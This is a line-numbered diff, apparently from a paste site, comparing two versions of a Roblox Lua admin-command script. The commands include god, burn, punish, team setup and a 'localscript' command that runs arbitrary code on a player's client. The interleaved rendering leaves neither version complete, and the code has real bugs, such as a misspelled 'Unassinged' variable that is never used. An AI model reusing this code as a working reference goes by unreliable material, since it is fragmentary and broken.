925 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
925 | + | for i = 7,100 do |
926 | - | for i, v in pairs(plrz) do |
926 | + | if string.sub(msg,i,i) == "/" then |
927 | - | coroutine.resume(coroutine.create(function() |
927 | + | danumber1 = i |
928 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
928 | + | break |
929 | - | local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl) |
929 | + | elseif string.sub(msg,i,i) == "" then |
930 | break | |
931 | - | end)) |
931 | + | |
932 | if danumber1 == nil then return end | |
933 | for i =danumber1 + 1,danumber1 + 100 do | |
934 | - | |
934 | + | if string.sub(msg,i,i) == "/" then |
935 | - | if msg:lower():sub(1,11) == "unsparkles " then |
935 | + | danumber2 = i |
936 | - | local plrz = GetPlr(plr, msg:lower():sub(12)) |
936 | + | break |
937 | - | for i, v in pairs(plrz) do |
937 | + | elseif string.sub(msg,i,i) == "" then |
938 | - | coroutine.resume(coroutine.create(function() |
938 | + | break |
939 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
939 | + | |
940 | - | for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end |
940 | + | if danumber2 == nil then return end |
941 | if speaker.Character ~= nil then | |
942 | - | end)) |
942 | + | local head = speaker.Character:FindFirstChild("Head") |
943 | if head ~= nil then | |
944 | local part = Instance.new("Part") | |
945 | - | |
945 | + | part.Size = Vector3.new(string.sub(msg,7,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1)) |
946 | - | if msg:lower():sub(1,3) == "ff " then |
946 | + | part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0) |
947 | - | local plrz = GetPlr(plr, msg:lower():sub(4)) |
947 | + | part.Name = "Person299's Admin Command Script V2 Part thingy" |
948 | - | for i, v in pairs(plrz) do |
948 | + | local block = Instance.new("BlockMesh",part) |
949 | - | coroutine.resume(coroutine.create(function() |
949 | + | part.Parent = game.Workspace |
950 | - | if v and v.Character then Instance.new("ForceField", v.Character) end |
950 | + | |
951 | - | end)) |
951 | + | |
952 | if string.sub(msg,1,6) == "plate/" then --Credit to Person299 for the base of this command... | |
953 | local danumber1 = nil | |
954 | - | |
954 | + | local danumber2 = nil |
955 | - | if msg:lower():sub(1,5) == "unff " then |
955 | + | for i = 7,100 do |
956 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
956 | + | if string.sub(msg,i,i) == "/" then |
957 | - | for i, v in pairs(plrz) do |
957 | + | danumber1 = i |
958 | - | coroutine.resume(coroutine.create(function() |
958 | + | break |
959 | - | if v and v.Character then |
959 | + | elseif string.sub(msg,i,i) == "" then |
960 | - | for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end |
960 | + | break |
961 | end end | |
962 | - | end)) |
962 | + | if danumber1 == nil then return end |
963 | for i =danumber1 + 1,danumber1 + 100 do | |
964 | if string.sub(msg,i,i) == "/" then | |
965 | - | |
965 | + | danumber2 = i |
966 | - | if msg:lower():sub(1,7) == "punish " then |
966 | + | break |
967 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
967 | + | elseif string.sub(msg,i,i) == "" then |
968 | - | for i, v in pairs(plrz) do |
968 | + | break |
969 | - | coroutine.resume(coroutine.create(function() |
969 | + | |
970 | - | if v and v.Character then |
970 | + | if danumber2 == nil then return end |
971 | - | v.Character.Parent = game:service("Lighting") |
971 | + | if speaker.Character ~= nil then |
972 | local head = speaker.Character:FindFirstChild("Head") | |
973 | - | end)) |
973 | + | if head ~= nil then |
974 | local part = Instance.new("Part") | |
975 | part.Size = Vector3.new(string.sub(msg,7,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1)) | |
976 | - | |
976 | + | part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0) |
977 | - | if msg:lower():sub(1,9) == "unpunish " then |
977 | + | part.Name = "Person299's Admin Command Script V2 Part thingy" |
978 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
978 | + | part.formFactor = "Plate" |
979 | - | for i, v in pairs(plrz) do |
979 | + | part.Parent = game.Workspace |
980 | - | coroutine.resume(coroutine.create(function() |
980 | + | |
981 | - | if v and v.Character then |
981 | + | |
982 | - | v.Character.Parent = game:service("Workspace") |
982 | + | if string.sub(msg,1,7) == "sphere/" then --Credit to Person299 for the base of this command... |
983 | - | v.Character:MakeJoints() |
983 | + | local danumber1 = nil |
984 | local danumber2 = nil | |
985 | - | end)) |
985 | + | for i = 8,100 do |
986 | if string.sub(msg,i,i) == "/" then | |
987 | danumber1 = i | |
988 | - | |
988 | + | break |
989 | - | if msg:lower():sub(1,7) == "freeze " then |
989 | + | elseif string.sub(msg,i,i) == "" then |
990 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
990 | + | break |
991 | - | for i, v in pairs(plrz) do |
991 | + | |
992 | - | coroutine.resume(coroutine.create(function() |
992 | + | if danumber1 == nil then return end |
993 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
993 | + | for i =danumber1 + 1,danumber1 + 100 do |
994 | - | for a, obj in pairs(v.Character:children()) do |
994 | + | if string.sub(msg,i,i) == "/" then |
995 | - | if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0 |
995 | + | danumber2 = i |
996 | break | |
997 | elseif string.sub(msg,i,i) == "" then | |
998 | - | end)) |
998 | + | break |
999 | end end | |
1000 | if danumber2 == nil then return end | |
1001 | - | |
1001 | + | if speaker.Character ~= nil then |
1002 | - | if msg:lower():sub(1,5) == "thaw " then |
1002 | + | local head = speaker.Character:FindFirstChild("Head") |
1003 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
1003 | + | if head ~= nil then |
1004 | - | for i, v in pairs(plrz) do |
1004 | + | local part = Instance.new("Part") |
1005 | - | coroutine.resume(coroutine.create(function() |
1005 | + | part.Size = Vector3.new(string.sub(msg,8,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1)) |
1006 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1006 | + | part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0) |
1007 | - | for a, obj in pairs(v.Character:children()) do |
1007 | + | part.Name = "Person299's Admin Command Script V2 Part thingy" |
1008 | - | if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16 |
1008 | + | part.Shape = "Ball" |
1009 | part.formFactor = 1 | |
1010 | part.Parent = game.Workspace | |
1011 | - | end)) |
1011 | + | |
1012 | ||
1013 | if msg:sub(1,5) == "burn/" then | |
1014 | - | |
1014 | + | local player = findplayer(msg:sub(6),speaker) |
1015 | - | if msg:lower():sub(1,5) == "heal " then |
1015 | + | if player ~= 0 then |
1016 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
1016 | + | for i = 1,#player do |
1017 | - | for i, v in pairs(plrz) do |
1017 | + | createscript([[ |
1018 | - | coroutine.resume(coroutine.create(function() |
1018 | + | if script.Parent.Parent then |
1019 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1019 | + | fire = Instance.new("Fire") |
1020 | - | v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth |
1020 | + | fire.Parent = script.Parent |
1021 | fire.Name = "Burn" | |
1022 | - | end)) |
1022 | + | fire.Color = BrickColor.Random().Color |
1023 | while fire do | |
1024 | script.Parent.Parent.Humanoid:TakeDamage(1) | |
1025 | - | |
1025 | + | |
1026 | - | if msg:lower():sub(1,4) == "god " then |
1026 | + | |
1027 | - | local plrz = GetPlr(plr, msg:lower():sub(5)) |
1027 | + | end]], player[i].Character.Torso) |
1028 | - | for i, v in pairs(plrz) do |
1028 | + | |
1029 | - | coroutine.resume(coroutine.create(function() |
1029 | + | |
1030 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1030 | + | if msg:sub(1,9) == "de-admin/" then |
1031 | - | v.Character.Humanoid.MaxHealth = math.huge |
1031 | + | local player = findplayer(msg:sub(10),speaker) |
1032 | - | v.Character.Humanoid.Health = 9e9 |
1032 | + | if player ~= 0 and NOMINATE10(speaker) then |
1033 | for i = 1,#player do | |
1034 | - | end)) |
1034 | + | if player[i].Name ~= speaker.Name then |
1035 | if PERSON299(player[i].Name) then | |
1036 | ishethere = findintable(player[i].Name,adminlist) | |
1037 | - | |
1037 | + | if ishethere then |
1038 | - | if msg:lower():sub(1,6) == "ungod " then |
1038 | + | table.remove(adminlist,ishethere) |
1039 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
1039 | + | end |
1040 | - | for i, v in pairs(plrz) do |
1040 | + | local ishe = findintable(player[i].Name,namelist) |
1041 | - | coroutine.resume(coroutine.create(function() |
1041 | + | if ishe then |
1042 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1042 | + | table.remove(namelist,ishe) |
1043 | - | v.Character.Humanoid.MaxHealth = 100 |
1043 | + | end |
1044 | - | v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth |
1044 | + | local isf = findintable(player[i].Name,flist) |
1045 | if isf then | |
1046 | - | end)) |
1046 | + | table.remove(flist,isf) |
1047 | end end end end | |
1048 | foc("fix",speaker) | |
1049 | - | |
1049 | + | |
1050 | - | if msg:lower():sub(1,8) == "ambient " then |
1050 | + | |
1051 | - | local chk1 = msg:lower():sub(9):find(" ") + 8 |
1051 | + | if msg:sub(1,6) == "watch/" then |
1052 | - | local chk2 = msg:sub(chk1+1):find(" ") + chk1 |
1052 | + | local player = findplayer(msg:sub(7),speaker) |
1053 | - | game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1)) |
1053 | + | if player ~= 0 then |
1054 | if #player == 1 then | |
1055 | - | |
1055 | + | for i = 1,#player do |
1056 | - | if msg:lower():sub(1,11) == "brightness " then |
1056 | + | sc = script.CamScript:clone() |
1057 | - | game.Lighting.Brightness = msg:sub(12) |
1057 | + | sc.Parent = speaker |
1058 | sc["New Subject"].Value = player[i].Character.Head | |
1059 | - | |
1059 | + | sc.Disabled = false |
1060 | - | if msg:lower():sub(1,5) == "time " then |
1060 | + | end end end end |
1061 | - | game.Lighting.TimeOfDay = msg:sub(6) |
1061 | + | |
1062 | if msg:sub(1,11) == "removegear/" then | |
1063 | - | |
1063 | + | local player = findplayer(msg:sub(12),speaker) |
1064 | - | if msg:lower():sub(1,9) == "fogcolor " then |
1064 | + | if player ~= 0 then |
1065 | - | local chk1 = msg:lower():sub(10):find(" ") + 9 |
1065 | + | for i = 1,#player do |
1066 | - | local chk2 = msg:sub(chk1+1):find(" ") + chk1 |
1066 | + | if player[i].StarterGear then |
1067 | - | game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1)) |
1067 | + | local gear = player[i].StarterGear:GetChildren() |
1068 | if #gear > 0 then | |
1069 | - | |
1069 | + | for Num,Gear in pairs(gear) do |
1070 | - | if msg:lower():sub(1,7) == "fogend " then |
1070 | + | Gear:remove() |
1071 | - | game.Lighting.FogEnd = msg:sub(8) |
1071 | + | end end end end end end |
1072 | ||
1073 | - | |
1073 | + | if msg:sub(1,10) == "savetools/" then |
1074 | - | if msg:lower():sub(1,9) == "fogstart " then |
1074 | + | local player = findplayer(msg:sub(11),speaker) |
1075 | - | game.Lighting.FogStart = msg:sub(10) |
1075 | + | if player ~= 0 then |
1076 | for i = 1,#player do | |
1077 | - | |
1077 | + | if player[i].StarterGear and player[i].Backpack then |
1078 | - | if msg:lower():sub(1,7) == "btools " then |
1078 | + | if #player[i].Backpack:GetChildren() > 0 then |
1079 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1079 | + | for num,tool in pairs(player[i].Backpack:GetChildren()) do |
1080 | - | for i, v in pairs(plrz) do |
1080 | + | tool:clone().Parent = player[i].StarterGear |
1081 | - | coroutine.resume(coroutine.create(function() |
1081 | + | end end end end end end |
1082 | - | if v and v:findFirstChild("Backpack") then |
1082 | + | |
1083 | - | local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool" |
1083 | + | if msg:sub(1,12) == "localscript/" then |
1084 | - | local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone" |
1084 | + | if msg:sub(13) then |
1085 | - | local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer" |
1085 | + | local slash = msg:sub(13):find("/")+12 |
1086 | - | local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize" |
1086 | + | if slash then |
1087 | - | local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[ |
1087 | + | local sourcE = msg:sub(slash+1) |
1088 | - | repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui") |
1088 | + | if sourcE then |
1089 | - | local sb |
1089 | + | local player = findplayer(msg:sub(13,slash-1),speaker) |
1090 | - | local hs |
1090 | + | if player ~= 0 then |
1091 | - | local pdist |
1091 | + | for i = 1,#player do |
1092 | - | |
1092 | + | localscript(sourcE,player[i]) |
1093 | - | script.Parent.Selected:connect(function(mouse) |
1093 | + | end end end end end end |
1094 | - | if not mouse then return end |
1094 | + | |
1095 | - | sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil |
1095 | + | if msg:sub(1,8) == "getgear/" then |
1096 | - | hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil |
1096 | + | local player = findplayer(msg:sub(9),speaker) |
1097 | - | mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end) |
1097 | + | if player ~= 0 then |
1098 | - | hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end) |
1098 | + | for i = 1,#player do |
1099 | - | hs.MouseButton1Down:connect(function() pdist = 0 end) |
1099 | + | if player[i].StarterGear and speaker.Backpack then |
1100 | for i,v in pairs(player[i].StarterGear:GetChildren()) do | |
1101 | - | |
1101 | + | v:clone().Parent = speaker.Backpack |
1102 | - | script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false |
1102 | + | end end end end end |
1103 | ||
1104 | - | end)) |
1104 | + | if msg:sub(1,5) == "team/" then |
1105 | local slash = msg:sub(6):find("/")+5 | |
1106 | if slash then | |
1107 | - | |
1107 | + | local team = upmsg:sub(6,slash-1) |
1108 | - | if msg:lower():sub(1,5) == "give " then |
1108 | + | if team then |
1109 | - | local chk1 = msg:lower():sub(6):find(" ") + 5 |
1109 | + | local color = upmsg:sub(slash+1) |
1110 | - | local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) |
1110 | + | local bcolor = BrickColor.new(color) |
1111 | - | for i, v in pairs(plrz) do |
1111 | + | if bcolor == BrickColor.new("Medium stone grey") and color:lower() ~= "medium stone grey" then return end |
1112 | - | coroutine.resume(coroutine.create(function() |
1112 | + | Team = Instance.new("Team",game:GetService("Teams")) |
1113 | - | if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then |
1113 | + | Team.Name = team |
1114 | - | for a, tool in pairs(game.Lighting:children()) do |
1114 | + | Team.TeamColor = bcolor |
1115 | - | if tool:IsA("Tool") or tool:IsA("HopperBin") then |
1115 | + | end end end |
1116 | - | if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end |
1116 | + | |
1117 | if msg:sub(1,11) == "changeteam/" then | |
1118 | local slash = msg:sub(12):find("/")+11 | |
1119 | if slash then | |
1120 | - | end)) |
1120 | + | local player = findplayer(msg:sub(12,slash-1),speaker) |
1121 | if player ~= 0 then | |
1122 | local team = findteam(msg:sub(slash+1),speaker) | |
1123 | - | |
1123 | + | if team then |
1124 | - | if msg:lower():sub(1,12) == "removetools " then |
1124 | + | for i = 1,#player do |
1125 | - | local plrz = GetPlr(plr, msg:lower():sub(13)) |
1125 | + | player[i].Neutral = false |
1126 | - | for i, v in pairs(plrz) do |
1126 | + | player[i].TeamColor = team.TeamColor |
1127 | - | coroutine.resume(coroutine.create(function() |
1127 | + | end end end end end |
1128 | - | if v and v.Character and v:findFirstChild("Backpack") then |
1128 | + | |
1129 | - | for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end |
1129 | + | if msg == "setupteams/" then |
1130 | - | for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end |
1130 | + | local Teams = game:GetService("Teams") |
1131 | TeamChild = Teams:GetChildren() | |
1132 | - | end)) |
1132 | + | if #TeamChild > 0 then |
1133 | for i,v in pairs(TeamChild) do | |
1134 | v:remove() | |
1135 | - | |
1135 | + | |
1136 | - | if msg:lower():sub(1,5) == "rank " then |
1136 | + | |
1137 | - | local chk1 = msg:lower():sub(6):find(" ") + 5 |
1137 | + | local Unassinged = Instance.new("Team",Teams) |
1138 | - | local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) |
1138 | + | Unassigned.TeamColor = BrickColor.new("Really black") |
1139 | - | for i, v in pairs(plrz) do |
1139 | + | Unassigned.Name = "Unassigned" |
1140 | - | coroutine.resume(coroutine.create(function() |
1140 | + | for i,v in pairs(game.Players:GetPlayers()) do |
1141 | - | if v and v:IsInGroup(msg:sub(chk1+1)) then |
1141 | + | v.Neutral = false |
1142 | - | Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr}) |
1142 | + | v.TeamColor = BrickColor.new("Really black") |
1143 | - | elseif v and not v:IsInGroup(msg:sub(chk1+1))then |
1143 | + | |
1144 | - | Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr}) |
1144 | + | |
1145 | ||
1146 | - | end)) |
1146 | + | if msg:sub(1,11) == "removeteam/" then |
1147 | local Teams = game:GetService("Teams") | |
1148 | assignTeam = {} | |
1149 | - | |
1149 | + | local team = findteam(msg:sub(12),speaker) |
1150 | - | if msg:lower():sub(1,7) == "damage " then |
1150 | + | if team then |
1151 | - | local chk1 = msg:lower():sub(8):find(" ") + 7 |
1151 | + | for i,v in pairs(game.Players:GetPlayers()) do |
1152 | - | local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1)) |
1152 | + | if v.TeamColor == team.TeamColor then |
1153 | - | for i, v in pairs(plrz) do |
1153 | + | table.insert(assignTeam,v) |
1154 | - | coroutine.resume(coroutine.create(function() |
1154 | + | |
1155 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1155 | + | |
1156 | - | v.Character.Humanoid:TakeDamage(msg:sub(chk1+1)) |
1156 | + | team:remove() |
1157 | if #assignTeam > 0 then | |
1158 | - | end)) |
1158 | + | if not Teams:FindFirstChild("Unassigned") then |
1159 | Unassinged = Instance.new("Team",Teams) | |
1160 | Unassigned.TeamColor = BrickColor.new("Really black") | |
1161 | - | |
1161 | + | Unassigned.Name = "Unassigned" |
1162 | - | if msg:lower():sub(1,5) == "grav " then |
1162 | + | else Unassigned = Teams.Unassigned end |
1163 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
1163 | + | for i,v in pairs(assignTeam) do |
1164 | - | for i, v in pairs(plrz) do |
1164 | + | v.TeamColor = Unassigned.TeamColor |
1165 | - | coroutine.resume(coroutine.create(function() |
1165 | + | end end end end |
1166 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1166 | + | |
1167 | - | for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end |
1167 | + | --AND NOW HERE ARE THE NORMAL COMMANDS MADE BY PERSON299 |
1168 | if string.sub(msg,1,5) == "give/" then | |
1169 | - | end)) |
1169 | + | local danumber1 = nil |
1170 | for i = 6,100 do | |
1171 | if string.sub(msg,i,i) == "/" then | |
1172 | - | |
1172 | + | danumber1 = i |
1173 | - | if msg:lower():sub(1,8) == "setgrav " then |
1173 | + | break |
1174 | - | local chk1 = msg:lower():sub(9):find(" ") + 8 |
1174 | + | elseif string.sub(msg,i,i) == "" then |
1175 | - | local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1)) |
1175 | + | break |
1176 | - | for i, v in pairs(plrz) do |
1176 | + | |
1177 | - | coroutine.resume(coroutine.create(function() |
1177 | + | if danumber1 == nil then return end |
1178 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1178 | + | local it = nil |
1179 | - | for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end |
1179 | + | local all = true |
1180 | - | local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0) |
1180 | + | if string.sub(string.lower(msg),danumber1 + 1,danumber1 + 4) ~= "all" then |
1181 | - | for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end |
1181 | + | all = false |
1182 | local itnum = 0 | |
1183 | - | end)) |
1183 | + | local c = tools:GetChildren() |
1184 | for i2 = 1,#c do | |
1185 | if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1)) == 1 then | |
1186 | - | |
1186 | + | it = c[i2] |
1187 | - | if msg:lower():sub(1,7) == "nograv " then |
1187 | + | itnum = itnum + 1 |
1188 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1188 | + | |
1189 | - | for i, v in pairs(plrz) do |
1189 | + | if itnum ~= 1 then return end |
1190 | - | coroutine.resume(coroutine.create(function() |
1190 | + | |
1191 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1191 | + | all = true |
1192 | - | for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end |
1192 | + | |
1193 | - | local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0) |
1193 | + | local player = findplayer(string.sub(msg,6,danumber1 - 1),speaker) |
1194 | - | for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end |
1194 | + | if player ~= 0 then |
1195 | for i = 1,#player do | |
1196 | - | end)) |
1196 | + | local bp = player[i]:FindFirstChild("Backpack") |
1197 | if bp ~= nil then | |
1198 | if all == false then | |
1199 | - | |
1199 | + | it:clone().Parent = bp |
1200 | - | if msg:lower():sub(1,7) == "health " then |
1200 | + | |
1201 | - | local chk1 = msg:lower():sub(8):find(" ") + 7 |
1201 | + | local c = tools:GetChildren() |
1202 | - | local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1)) |
1202 | + | for i2 = 1,#c do |
1203 | - | for i, v in pairs(plrz) do |
1203 | + | c[i2]:clone().Parent = bp |
1204 | - | coroutine.resume(coroutine.create(function() |
1204 | + | end end end end end end |
1205 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1205 | + | |
1206 | - | v.Character.Humanoid.MaxHealth = msg:sub(chk1+1) |
1206 | + | --Bored... |
1207 | - | v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth |
1207 | + | |
1208 | if string.sub(msg,1,7) == "change/" then | |
1209 | - | end)) |
1209 | + | local danumber1 = nil |
1210 | local danumber2 = nil | |
1211 | for i = 8,100 do | |
1212 | - | |
1212 | + | if string.sub(msg,i,i) == "/" then |
1213 | - | if msg:lower():sub(1,6) == "speed " then |
1213 | + | danumber1 = i |
1214 | - | local chk1 = msg:lower():sub(7):find(" ") + 6 |
1214 | + | break |
1215 | - | local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)) |
1215 | + | elseif string.sub(msg,i,i) == "" then |
1216 | - | for i, v in pairs(plrz) do |
1216 | + | break |
1217 | - | coroutine.resume(coroutine.create(function() |
1217 | + | |
1218 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1218 | + | if danumber1 == nil then return end |
1219 | - | v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1) |
1219 | + | for i =danumber1 + 1,danumber1 + 100 do |
1220 | if string.sub(msg,i,i) == "/" then | |
1221 | - | end)) |
1221 | + | danumber2 = i |
1222 | break | |
1223 | elseif string.sub(msg,i,i) == "" then | |
1224 | - | |
1224 | + | break |
1225 | - | if msg:lower():sub(1,5) == "team " then |
1225 | + | |
1226 | - | local chk1 = msg:lower():sub(6):find(" ") + 5 |
1226 | + | if danumber2 == nil then return end |
1227 | - | local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) |
1227 | + | local player = findplayer(string.sub(msg,8,danumber1 - 1),speaker) |
1228 | - | for i, v in pairs(plrz) do |
1228 | + | if player ~= 0 then |
1229 | - | coroutine.resume(coroutine.create(function() |
1229 | + | for i = 1,#player do |
1230 | - | if v and game:findFirstChild("Teams") then |
1230 | + | local ls = player[i]:FindFirstChild("leaderstats") |
1231 | - | for a, tm in pairs(game.Teams:children()) do |
1231 | + | if ls ~= nil then |
1232 | - | if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end |
1232 | + | local it = nil |
1233 | local itnum = 0 | |
1234 | local c = ls:GetChildren() | |
1235 | - | end)) |
1235 | + | for i2 = 1,#c do |
1236 | if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1,danumber2 - 1)) == 1 then | |
1237 | it = c[i2] | |
1238 | - | |
1238 | + | itnum = itnum + 1 |
1239 | - | if msg:lower():sub(1,6) == "place " then |
1239 | + | |
1240 | - | local chk1 = msg:lower():sub(7):find(" ") + 6 |
1240 | + | if itnum == 1 then |
1241 | - | local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)) |
1241 | + | it.Value = string.sub(msg,danumber2 + 1) |
1242 | - | for i, v in pairs(plrz) do |
1242 | + | end end end end end |
1243 | - | coroutine.resume(coroutine.create(function() |
1243 | + | |
1244 | - | if v and v:findFirstChild("PlayerGui") then |
1244 | + | if string.sub(msg,1,6) == "ungod/" then |
1245 | - | local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false |
1245 | + | local player = findplayer(string.sub(msg,7),speaker) |
1246 | if player ~= 0 then | |
1247 | - | end)) |
1247 | + | for i = 1,#player do |
1248 | if player[i].Character ~= nil then | |
1249 | local isgod = false | |
1250 | - | |
1250 | + | local c = player[i].Character:GetChildren() |
1251 | - | if msg:lower():sub(1,3) == "tp " then |
1251 | + | for i=1,#c do |
1252 | - | local chk1 = msg:lower():sub(4):find(" ") + 3 |
1252 | + | if c[i].className == "Script" then |
1253 | - | local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1)) |
1253 | + | if c[i]:FindFirstChild("Context") then |
1254 | - | local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1)) |
1254 | + | if string.sub(c[i].Context.Value,1,41) == "script.Parent.Humanoid.MaxHealth = 999999" then |
1255 | - | for i, v in pairs(plrz) do |
1255 | + | c[i]:remove() |
1256 | - | coroutine.resume(coroutine.create(function() |
1256 | + | isgod = true |
1257 | - | for i2, v2 in pairs(plrz2) do |
1257 | + | end end end end |
1258 | - | if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then |
1258 | + | if isgod == true then |
1259 | - | v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1)) |
1259 | + | local c = player[i].Character:GetChildren() |
1260 | for i=1,#c do | |
1261 | if c[i].className == "Part" then | |
1262 | - | end)) |
1262 | + | c[i].Reflectance = 0 |
1263 | end | |
1264 | if c[i].className == "Humanoid" then | |
1265 | - | |
1265 | + | c[i].MaxHealth = 100 |
1266 | - | if msg:lower():sub(1,7) == "change " then |
1266 | + | c[i].Health = 100 |
1267 | - | local chk1 = msg:lower():sub(8):find(" ") + 7 |
1267 | + | end |
1268 | - | local chk2 = msg:sub(chk1+1):find(" ") + chk1 |
1268 | + | if c[i].Name == "God FF" then |
1269 | - | local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1)) |
1269 | + | c[i]:remove() |
1270 | - | for i, v in pairs(plrz) do |
1270 | + | end end end end end end end |
1271 | - | coroutine.resume(coroutine.create(function() |
1271 | + | |
1272 | - | if v and v:findFirstChild("leaderstats") then |
1272 | + | if string.sub(msg,1,4) == "god/" then |
1273 | - | for a, st in pairs(v.leaderstats:children()) do |
1273 | + | local player = findplayer(string.sub(msg,5),speaker) |
1274 | - | if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end |
1274 | + | if player ~= 0 then |
1275 | for i = 1,#player do | |
1276 | if player[i].Character ~= nil then | |
1277 | - | end)) |
1277 | + | if player[i].Character:FindFirstChild("God FF") == nil then |
